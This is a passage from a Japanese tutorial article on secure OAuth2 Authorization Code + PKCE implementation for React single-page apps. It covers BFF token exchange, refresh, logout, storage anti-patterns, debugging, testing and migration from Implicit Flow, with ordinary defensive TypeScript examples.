純SPA構成では、ブラウザからIdPのトークンエンドポイントへ直接します。これがCORS(Cross-Origin Resource Sharing)の対象になります。IdPがでSPAのオリジンを許可していない場合、プリフライトまたは本リクエストがブロックされ、トークン交換が失敗します。

CORS preflight の詳細では、POST + application/x-www-form-urlencodedがプリフライト対象になりうることが説明されています。IdP側でCORSを開くのは運用上難しい場合があり、そのときBFFが同一オリジンからトークンエンドポイントへサーバー間通信する構成が定石です。

トークン交換の実施場所 CORS・秘匿性
ブラウザ → IdP IdPがCORS許可必須。client_secret不可。DevToolsでレスポンスが見える。
BFF → IdP CORS不要(サーバー間)。client_secret利用可。トークンをSPAに渡さず済む。

ログアウト・セッション破棄・複数タブ

OAuth2ログアウトは「アクセストークンを忘れる」だけでは不十分です。BFF構成ではサーバーセッションとCookieの破棄、IdP側セッション(SSO)の終了(End Session Endpoint / RP-Initiated Logout)を組み合わせます。

ログアウトフローの推奨

1

SPAが BFF の POST /auth/logout を credentials: include で呼ぶ

2

BFFが req.session.destroy と Cookie クリアを実行する

3

必要なら IdP の end_session_endpoint へ id_token_hint 付きでリダイレクトし SSO セッションも終了

4

SPAのインメモリトークン変数を clearTokens() で明示的に null 化する

5

React Query 等のクライアントキャッシュを invalidate し、保護画面から/loginへ遷移

複数タブで同一BFFセッションを共有する場合、一方のタブでログアウトすると他タブも401になるのが正常です。storageイベントやBroadcastChannelで「ログアウト済み」を通知するとUXが向上します。

セッション固定攻撃との関係

ログイン成功後にセッションIDをローテーション(Express req.session.regenerate)すると、セッション固定攻撃のリスクを下げられます。BFFがOAuthコールバックで初めてセッションにトークンを載せるタイミングで新規セッションを発行するのが望ましいです。

主要IdP別の設定メモ(2026)

実装時にハマりやすいIdP固有の差分を簡潔にまとめます。詳細は各ベンダードキュメントを参照してください。

IdPSPA / PKCE注意点
Auth0Application Type: SPA で PKCE 自動Allowed Callback URLs を完全一致で。API Audience は別設定
KeycloakClient authentication: Off、PKCE optional→S256推奨Valid redirect URIs。Standard flow のみ有効化
Amazon CognitoApp client で SECRET なし + Generate client secret オフCognito Hosted UI 利用時も callback URL 登録必須
Azure AD / Entra IDPlatform: Single-page applicationImplicit grant チェックは外す。Redirect URI タイプ SPA
GoogleWeb application + Authorized JavaScript originsOAuth 2.0 では PKCE 推奨。client_secret なしの構成可

いずれも本番はHTTPS必須です。localhostのみHTTP例外が許されることが多いですが、ステージング環境も早期からHTTPSで揃えるとredirect_uri_mismatchの調査が楽になります。

React Strict Modeと二重トークン交換

開発環境でinvalid_grantが「たまに」出る場合、React 18 Strict ModeによるuseEffect二重実行を疑ってください。認可コードは1回しか使えないため、同一コードで2回POSTすると2回目は必ず失敗します。

// src/pages/OAuthCallbackPage.tsx — 二重実行ガード例

import { useEffect, useRef } from 'react';

export function OAuthCallbackPage() {
  const handledRef = useRef(false);

  useEffect(() => {
    if (handledRef.current) {
      return;
    }
    handledRef.current = true;

    // 以降、code 交換処理...
  }, []);

  return null;
}

BFFにコールバックを集約すれば、SPA側のStrict Mode問題を回避しやすくなります。本番ビルドではStrict Mode二重実行はないため、本番のみ再現しないinvalid_grantはこのパターンが典型です。

refresh_tokenとサイレント更新

短命なaccess_token(15分など)を使う構成では、refresh_tokenで更新します。refresh_tokenをブラウザの永続ストレージに置く設計は避け、BFFが更新を代行するのが安全です。

// bff/refreshAccessToken.ts(概念実装)

import type { Request } from 'express';

const IDP_TOKEN_URL = process.env.IDP_TOKEN_URL ?? '';

export async function refreshAccessToken(req: Request): Promise<boolean> {
  const refreshToken = req.session.refreshToken;
  if (!refreshToken) {
    return false;
  }

  const body = new URLSearchParams({
    grant_type: 'refresh_token',
    refresh_token: refreshToken,
    client_id: process.env.OAUTH_CLIENT_ID ?? '',
    client_secret: process.env.OAUTH_CLIENT_SECRET ?? '',
  });

  const response = await fetch(IDP_TOKEN_URL, {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: body.toString(),
  });

  if (!response.ok) {
    return false;
  }

  const tokens = (await response.json()) as {
    access_token: string;
    refresh_token?: string;
    expires_in: number;
  };

  req.session.accessToken = tokens.access_token;
  if (tokens.refresh_token) {
    req.session.refreshToken = tokens.refresh_token;
  }
  req.session.accessTokenExpiresAt = Date.now() + tokens.expires_in * 1000;
  return true;
}

純SPAでrefresh_tokenを扱う場合も、インメモリのみに限定し、タブを閉じたら再ログインを前提にしてください。

アクセストークンの寿命とAPI呼び出しパターン

access_tokenのexpires_in(秒)はIdPのポリシーで決まります。15分〜1時間が一般的です。SPAがAPIを呼ぶたびにトークン有効期限を確認し、切れていれば再ログインまたはBFF経由のrefreshを行います。

401応答時の再試行

// src/api/authenticatedFetch.ts

import { getAccessToken, clearTokens } from '../auth/tokenExchange';
import { authConfig } from '../auth/authConfig';

export async function authenticatedFetch(
  input: RequestInfo | URL,
  init: RequestInit = {},
): Promise<Response> {
  const token = getAccessToken();
  if (!token) {
    throw new Error('Not authenticated');
  }

  const response = await fetch(input, {
    ...init,
    headers: {
      ...init.headers,
      Authorization: `Bearer ${token}`,
      Accept: 'application/json',
    },
  });

  if (response.status === 401) {
    clearTokens();
    window.location.assign('/login?reason=session_expired');
  }

  return response;
}

BFF構成では、サーバーが期限切れ前にrefreshし、SPAはCookieセッションが生きている限り401を見ない設計にできます。いわゆるサイレントリフレッシュをブラウザだけで完結させようとすると、再びトークンがJSに露出する問題に戻ります。

スコープと最小権限

scopeはカンマまたはスペース区切りでIdPに渡します。必要以上のスコープを要求すると、同意画面でユーザーが拒否(access_denied)しやすくなります。バックエンドAPIが要求するAudience(Auth0のaudienceパラメータ等)と整合させ、フロントが取得したトークンがAPIゲートウェイで受理されることをステージングで確認してください。

パブリッククライアントとコンフィデンシャルクライアント

OAuth2のクライアントタイプは、シークレットを安全に保持できるかで分かれます。

タイプシークレット典型構成
Public不可(漏洩前提)純SPA、モバイル、PKCE必須
Confidentialサーバーで保持BFF、バックエンド、トークンエンドポイントでclient_secret

「SPAだからPublic」と決めつけず、BFFを置けるならConfidential + PKCEの組み合わせが可能です。PKCEはPublic向けの必須要件ですが、ConfidentialクライアントでもDefense in DepthとしてPKCEを付けるIdP・ベンダー推奨が増えています。

client_secretをSPAに埋め込まない

ViteのVITE_*環境変数はビルド成果物に含まれ、誰でも読めます。client_secretをフロントリポジトリに置いた時点で秘匿は失敗しています。シークレットはBFFの環境変数またはシークレットマネージャのみに配置してください。

トークン保管アンチパターン集

実コードレビューでよく見かける禁止パターンを列挙します。いずれも新規採用禁止です。

アンチパターン問題代替
localStorage.setItem('token', ...)XSSで全窃取BFF + HttpOnly Cookie
URLクエリにaccess_tokenReferer・履歴・ログ露出Authorization Code + PKCE
Implicit Flow (response_type=token)RFC 9700 deprecatedAuthorization Code
code_challenge_method=plainverifierがクエリ相当で漏洩S256のみ
refresh_tokenをIndexedDB永続化長期なりすましサーバー側保管
ログにcode_verifier出力ログ基盤経由で漏洩構造化ログから機密除外

XSS攻撃と防御の完全ガイドでは、HttpOnly CookieですらXSSによるDOM操作やCSRF的悪用は防げないと述べています。OAuth2文脈では「トークンをJSから読めないようにする」ことが第一優先であり、XSS対策(CSP・サニタイズ)は並行して必須です。

BFFの前面配置:リバースプロキシとCookie属性

本番ではSPAとBFFを同一サイト(例: https://app.example.com)にまとめ、パスで振り分ける構成が多いです。/api/* → BFF、/* → 静的SPA。これによりCookieのSameSite=LaxでAPI呼び出しが素直に動きます。

# nginx イメージ(概念)
location /api/ {
  proxy_pass http://bff:4000/;
  proxy_set_header Host $host;
  proxy_set_header X-Forwarded-Proto $scheme;
}

location / {
  root /var/www/spa;
  try_files $uri /index.html;
}

Express側ではtrust proxyを有効にし、Secure CookieがHTTPS終端で正しく付与されるようにします。セキュリティヘッダー(security headers一覧)と合わせ、BFFレスポンスにCache-Control: no-storeを付け、認証応答がCDNにキャッシュされないようにしてください。

デバッグ手順:DevToolsで追う順序

OAuth2フローが失敗したとき、次の順でNetworkタブを確認すると原因が切り分けやすくなります。

1

/authorize リクエストに code_challenge・code_challenge_method=S256・state が含まれるか

2

コールバック URL の code と state が返っているか(error=access_denied でないか)

3

トークン POST の Form Data に code_verifier・redirect_uri・client_id があるか

4

トークンレスポンスが 200 か、400 で error=invalid_grant 等になっていないか

5

Application タブで localStorage/sessionStorage に token キーが残っていないか(設計確認)

6

BFF 構成では Set-Cookie と以降の /api リクエストに Cookie が付いているか

invalid_grantのレスポンスボディ例:

{
  "error": "invalid_grant",
  "error_description": "Code verifier mismatch"
}

error_descriptionはIdPによって詳細度が異なります。本番では情報漏洩を抑えるため曖昧なメッセージになることもあり、自前BFFログ(verifier長・challenge再計算結果・redirect_uri)と突き合わせます。verifier自体はログに出さないでください。

モックIdPでの結合テスト

CIでE2Eを回す場合、WireMockやmswでトークンエンドポイントをスタブし、S256検証ロジックをテスト側にも実装します。

// test/mockIdp.ts — スタブ側 PKCE 検証

import crypto from 'node:crypto';

export function verifyPkceS256(
  codeVerifier: string,
  expectedChallenge: string,
): boolean {
  const hash = crypto.createHash('sha256').update(codeVerifier).digest('base64');
  const computed = hash
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '');
  return computed === expectedChallenge;
}

スタブが「どんなverifierでも通す」実装だと、本番IdPで初めてPKCE不一致が発覚します。ユニットテストでgenerateCodeChallengeS256(generateCodeVerifier())のラウンドトリップを必ず含めてください。

RFC 9700と関連仕様マップ

2026年時点でSPA OAuth2を語るうえで参照すべき仕様を整理します。

文書内容
RFC 6749OAuth 2.0 フレームワーク本体
RFC 7636PKCE(code_verifier / code_challenge)
RFC 9700ブラウザベースアプリ BCP(Implicit非推奨)
RFC 8252ネイティブアプリ BCP
OpenID Connect Core 1.0ID Token、nonce、UserInfo

RFC 9700は「Browser-Based Apps」に特化しており、本記事のBFF推奨・トークンストレージ禁止・Authorization Code + PKCE必須はすべてここに根拠があります。セキュリティ監査や設計レビューでは、RFC番号を明示できると説得力が増します。

React RouterとProtected Routeの統合

OAuth2ログイン後に「未認証ユーザーは/dashboardに入れない」ガードをReact Router v6以降で実装する例です。BFF構成では/api/me、純SPAではgetAccessToken()で判定します。

// src/auth/AuthContext.tsx

import {
  createContext,
  useCallback,
  useContext,
  useEffect,
  useMemo,
  useState,
  type ReactNode,
} from 'react';
import { getAccessToken, clearTokens } from './tokenExchange';
import { fetchMe } from '../api/client';

type AuthState = {
  isAuthenticated: boolean;
  isLoading: boolean;
  logout: () => Promise<void>;
};

const AuthContext = createContext<AuthState | null>(null);

export function AuthProvider({ children }: { children: ReactNode }) {
  const [isAuthenticated, setIsAuthenticated] = useState(false);
  const [isLoading, setIsLoading] = useState(true);

  useEffect(() => {
    void (async () => {
      try {
        const useBff = import.meta.env.VITE_USE_BFF === 'true';
        if (useBff) {
          await fetchMe();
          setIsAuthenticated(true);
        } else if (getAccessToken()) {
          setIsAuthenticated(true);
        }
      } catch {
        setIsAuthenticated(false);
      } finally {
        setIsLoading(false);
      }
    })();
  }, []);

  const logout = useCallback(async () => {
    const useBff = import.meta.env.VITE_USE_BFF === 'true';
    if (useBff) {
      await fetch('http://localhost:4000/auth/logout', {
        method: 'POST',
        credentials: 'include',
      });
    }
    clearTokens();
    setIsAuthenticated(false);
  }, []);

  const value = useMemo(
    () => ({ isAuthenticated, isLoading, logout }),
    [isAuthenticated, isLoading, logout],
  );

  return <AuthContext.Provider value={value}>{children}</AuthContext.Provider>;
}

export function useAuth(): AuthState {
  const ctx = useContext(AuthContext);
  if (!ctx) {
    throw new Error('useAuth must be used within AuthProvider');
  }
  return ctx;
}
// src/components/ProtectedRoute.tsx

import { Navigate, useLocation } from 'react-router-dom';
import { useAuth } from '../auth/AuthContext';

export function ProtectedRoute({ children }: { children: React.ReactNode }) {
  const { isAuthenticated, isLoading } = useAuth();
  const location = useLocation();

  if (isLoading) {
    return <p role="status">認証状態を確認しています…</p>;
  }

  if (!isAuthenticated) {
    return <Navigate to="/login" state={{ from: location.pathname }} replace />;
  }

  return children;
}

ログイン成功後はlocation.state.fromへ戻すと、ブックマークした保護URLからログインに飛ばされたユーザー体験が自然になります。return pathと同様、オープンリダイレクトにならないよう内部パスのみ許可してください。

環境変数・シークレット・ビルドパイプライン

Vite / Create React App 系では、VITE_プレフィックス付き変数がクライアントバンドルに埋め込まれます。以下だけをフロントに置き、それ以外はBFFまたはCIシークレットに隔離します。

変数置き場所
VITE_OAUTH_CLIENT_IDフロント(公開可)spa-client-abc
VITE_OAUTH_REDIRECT_URIフロントhttps://app.example.com/oauth/callback
OAUTH_CLIENT_SECRETBFFのみ(リポジトリにコミットしない)
SESSION_SECRETBFFのみ32バイト以上の乱数
IDP_TOKEN_URLBFFのみIdPメタデータから取得

GitHub Actionsではsecrets.OAUTH_CLIENT_SECRETをデプロイ時にBFFコンテナへ注入し、フロントのビルドジョブには渡しません。Pull Requestのフォークビルドではシークレットが漏れるリスクがあるため、PR用のテストIdPクライアントを別途用意する運用が安全です。

stateとCSRF:OAuth2における位置づけ

OAuth2のstateパラメータは、認可リクエストを開始したアプリケーションと、コールバックを受け取る主体が同一であることを示すCSRFトークン相当です。ログインCSRF(攻撃者が被害者を自分のアカウントでログインさせる)や、認可コードを別セッションに結びつける攻撃を抑えます。

CSRF対策の実装ガイドで説明したSynchronizer Tokenと同様、サーバー(またはsessionStorage)が発行した値とコールバックの値を比較するのが基本です。BFF構成ではreq.session.oauthState、純SPAではsessionStorageに保存した値を使います。

stateの長さは16バイト以上の乱数をBase64URLした程度で十分です。code_verifierと同じ値を使い回すのは避け、独立生成してください。

同意画面・ブランディング・UX

OAuth2は技術的なセキュリティだけでなく、ユーザーが「どのアプリに何の権限を渡すか」を理解できるUXも重要です。IdPの同意画面(Consent Screen)では、アプリ名・ロゴ・要求スコープの説明文を正確に登録します。

ユーザーが「このアプリは信頼できない」と感じると、access_deniedで離脱します。開発中にscopeを増やしすぎない、本番と開発で別クライアントを使い開発用にoffline_accessを付けない、など運用上の配慮もセキュリティの一部です。

監査ログとコンプライアンス

本番BFFでは、次のイベントを監査ログに残すことを推奨します(トークン本体は記録しない)。

  • 認可開始(client_id、redirect_uri、スコープ)
  • トークン交換成功/失敗(errorコードのみ)
  • ログアウト・セッション破棄
  • refresh_token使用(成功/失敗)

個人情報保護法やGDPRの観点では、IdPが返すsubやメールアドレスをどこまでアプリDBに保存するかも設計事項です。OAuth2実装そのものとは別論点ですが、最小限のクレームだけをセッションに載せる方針が監査で説明しやすくなります。

実装チェックリストとテスト方法

リリース前に次を確認します。

1

IdPで Authorization Code + PKCE が有効で、Implicit Flow が無効であることを確認する

2

認可URLに code_challenge_method=S256 が含まれることをDevTools Networkで確認する

3

意図的に state を改ざんしたコールバックが拒否されることを確認する

4

トークン交換後、localStorage/sessionStorage に access_token が残っていないことをApplicationタブで確認する

5

BFF構成では Set-Cookie に HttpOnly・Secure・SameSite=Lax が付いていることを確認する

6

認可コード期限切れ後のトークン交換が invalid_grant になることを確認する

7

ログアウトでサーバーセッションとCookieが破棄されることを確認する

E2Eテストの観点

Playwright等で「ログインボタン → IdP(テスト用スタブ)→ コールバック → ダッシュボード表示」まで通し、保護APIが401/200を適切に返すことをCIに組み込みます。IdPをモックする場合も、PKCE検証(challengeとverifierの対)をスタブ側で実装しないと、本番差分で事故ります。

Implicit Flowからの移行ロードマップ

既存SPAがImplicit Flow(response_type=token)のまま残っている場合、段階的にAuthorization Code + PKCEへ移行します。一度に全部変えるとリグレッションリスクが高いため、次の順序が現場で使いやすいです。

1

IdPで Authorization Code + PKCE を有効化し、Implicit grant をオフにする予定日を決める

2

フロントに pkce.ts・useOAuthLogin・OAuthCallbackPage を追加し、ステージングで Code Flow を試す

3

トークン保存を localStorage から BFF + HttpOnly Cookie またはインメモリへ移行する

4

E2E と手動テストでログイン・API・ログアウトを通し、Implicit 用コードパスを削除する

5

本番ログで response_type=token のリクエストがゼロであることを確認する

6

IdP 管理画面で Implicit を無効化し、RFC 9700 準拠をドキュメント化する

移行中に二重実装を長期間残すと、レビュー漏れで古いパスが復活しやすくなります。Feature Flag で切り替える場合も、Flag 削除期限をスプリントに明記してください。

フロント向けOAuth2用語対応表

バックエンド担当と会話するとき、同じ単語でも指すものがずれることがあります。SPA実装者向けに、仕様用語とコード上の名前を対応づけます。

仕様・IdP用語フロントコード上の例説明
Authorization EndpointauthConfig.authorizationEndpointブラウザリダイレクトで送るログインURL
Token EndpointauthConfig.tokenEndpointcode と code_verifier を POST する
Authorization Codeparams.get('code')短命・1回限り。URL クエリで返る
code_verifiergenerateCodeVerifier()sessionStorage に一時保存のみ
code_challengegenerateCodeChallengeS256()認可URLクエリ。method は S256
stategenerateRandomState()CSRF 対策。コールバックで一致検証
access_tokenインメモリまたは BFF セッションBearer ヘッダー用。永続化しない
refresh_tokenBFF req.session 推奨長寿命。ブラウザに置かない

OIDC 利用時は、API 呼び出しに access_token、ユーザー識別に id_token(署名検証後の sub)と役割を分けてください。「トークンをもらった」だけではどちらか曖昧なので、レビューでは種類を明示すると誤実装が減ります。

セキュリティレビューで聞かれる5つの質問

社内レビューやペンテスト前に、次の問いへの答えを準備しておくとスムーズです。

1. なぜ Implicit Flow を使わないのか — RFC 9700 で deprecated。URL フラグメント露出と PKCE 非対応。

2. PKCE の S256 を必須にしているか — plain 禁止。IdP 側でも PKCE required にできるか確認。

3. トークンをどこに置くか — localStorage 禁止の理由を XSS 完全ガイド とセットで説明。

4. state を検証しているか — 不一致時に code を破棄するか。BFF では session 紐づけ。

5. ログアウトで何を消すか — インメモリ、BFF セッション、IdP SSO。refresh_token revocation の有無。

コードと IdP 設定画面で答えられれば、OAuth2 PKCE SPA 実装として十分な説明可能性があります。

現場で起きやすい誤解と正しい理解

OAuth2 PKCE SPA 実装を初めて担当するフロントエンドエンジニアから、同じ誤解が繰り返し質問されます。ここでは長文で正しい理解を固定します。

誤解1:「PKCE はモバイルだけの話」 — 誤りです。RFC 7636 はもともと Public Client 全般向けであり、RFC 9700 でブラウザ SPA に必須化されました。デスクトップブラウザでも Authorization Code には PKCE を付けてください。

誤解2:「client_id は秘密だから vite.env に隠す」 — client_id は Public Client では公開前提です。秘匿するのは client_secret で、それは BFF のみ。client_id を隠してもセキュリティ上の意味はほぼありません。

誤解3:「sessionStorage に verifier を置くのもダメ」 — verifier は「数秒〜数十秒の一時値」です。コールバック完了後に removeItem すれば、トークン永続化とは問題の性質が異なります。access_token を sessionStorage に置くのがダメであり、verifier の一時保管は PKCE 仕様上避けられません。

誤解4:「BFF を置いたら PKCE は不要」 — BFF でも Authorization Code Flow を使うなら PKCE を付ける構成が推奨されます。Confidential Client でも Defense in Depth として有効です。BFF が verifier を session に持つのは SPA が sessionStorage に持つのと同型です。

誤解5:「ログインできたら OAuth 実装完了」 — トークン更新、ログアウト、401 時の UX、監査ログ、IdP 側のクライアントローテーションまで含めて「認証基盤」です。本記事の後半(refresh、ログアウト、チェックリスト)まで読み切ることを推奨します。

誤解6:「CORS エラーは IdP のせいだからフロントでは直せない」 — 半分正しく半分誤りです。IdP が CORS を開いていないなら、フロントはトークンエンドポイントを直接叩く設計をやめ、BFF に交換を移す設計変更で直せます。技術的には「誰が POST するか」の問題です。

これらをチームで共有しておくと、コードレビューでの議論時間が短くなり、セキュリティ要件の抜け(Implicit の復活、localStorage への token 保存)も防ぎやすくなります。

関連記事

この記事は セキュリティ テーマの一環です。あわせて読むと理解が深まる関連記事をまとめました。

トピック記事
Double Submit Cookie完全実装Double Submit Cookie完全実装|Synchronizer Token比較・SPA+JWT・サブドメイン攻撃
CSP Report-Only 段階導入ガイドCSP Report-Only 段階導入ガイド|本番を壊さずポリシーを検証する
セキュアなCookie設定ガイドセキュアなCookie設定ガイド|HttpOnly・Secure・SameSiteの使い分けとCSRF対策
CORSエラーの対処法CORSエラーの対処法|「Access-Control-Allow-Origin」で解決する
ローカル開発でCORSエラーが出る原因と3つの回避策ローカル開発でCORSエラーが出る原因と3つの回避策
Passkeys・WebAuthn実装の基礎Passkeys・WebAuthn実装の基礎|FIDO2・Resident Key・@simplewebauthn/server
JWTのデバッグ方法JWTのデバッグ方法|トークンの中身を安全に確認する
JWTの中身を確認する方法JWTの中身を確認する方法|改ざんが検知される仕組み
JWKSとJWT鍵ローテーション運用ガイドJWKSとJWT鍵ローテーション運用ガイド|kid検証・ゼロダウンタイム・Node.js実装
HSTS Preload設定手順HSTS Preload設定手順|nginx・Cloudflare実装とhstspreload.org申請ガイド
X-Content-Type-Options: nosniff 解説X-Content-Type-Options: nosniff 解説|MIMEスニッフィング対策
Subresource Integrity (SRI) 完全ガイドSubresource Integrity (SRI) 完全ガイド|CDN スクリプトの integrity・crossorigin・フォールバック

まとめ

SPA向けOAuth2は、2026年現在Authorization Code Flow + PKCE(code_challenge S256)が唯一の推奨経路です。RFC 9700によりImplicit Flowはdeprecatedとなり、新規採用は避けてください。ロングテールで検索されやすい「OAuth2 PKCE SPA 実装」「code_challenge S256」は、いずれもこの構成を指します。

実装の要点は次の3点です。

  1. crypto.getRandomValuesでcode_verifierを生成し、SHA-256でcode_challengeを作って認可リクエストに載せる
  2. コールバックでstateを検証したうえで、fetch()またはBFF経由でトークンエンドポイントへcode_verifier付きPOSTする
  3. トークンをlocalStorageに保存しない — BFF + HttpOnly Cookieが最善。純SPAでもインメモリのみ(XSS完全ガイド参照)

Express BFF例のようにサーバーがトークン交換を握る構成は、CORS制約・refresh_token管理・XSS耐性のすべてで有利です。パブリッククライアントのままフロントだけで完結する場合も、PKCEと短命トークン・インメモリ保管の制約を理解したうえで設計してください。

エラー表のinvalid_grantredirect_uri_mismatch・state不一致は、ほとんどがパラメータ不一致またはコード再利用です。ログとDevToolsでリクエスト全文を突き合わせるのが最短のデバッグです。IdP登録・環境変数・redirect_uri定数の3点を先に疑うと、現場の時間の大半を節約できます。

Related記事として、CSRF対策(stateの考え方)、CORS preflight(トークンエンドポイント直接呼び出し時)、セキュリティヘッダー(BFF前面)、CSP(XSS多層防御)と合わせて読むと、認証まわりの設計が一本の線で繋がります。OAuth2は「ログインボタンを置くだけ」では終わらず、トークンの寿命・保管・ログアウト・監査までセットで設計することが、2026年のSPAセキュリティの実務です。

最後に、実装完了の定義をはっきりさせます。DevTools の Network タブで /authorizecode_challenge_method=S256 が見え、コールバック後にトークン交換が 200 で返り、Application タブの Storage に access_token キーが存在せず、意図的な state 改ざんが拒否され、ログアウト後に保護 API が 401 になる——この5点が揃って初めて「OAuth2 PKCE SPA 実装が完了した」と言えます。IdP のダッシュボード截图とセットで社内 Wiki に残しておくと、将来のメンバー onboarding も楽になるでしょう。

パブリッククライアントの SPA だけで戦う構成は可能ですが、セキュリティと運用のバランスでは BFF 一枚挟むコストの方が、インシデント一件のコストよりずっと小さいことがほとんどです。新規プロジェクトでは最初から BFF 用リポジトリ(またはモノレポの apps/bff)を切り、認可コールバック URL も BFF ドメインに向ける設計を検討してください。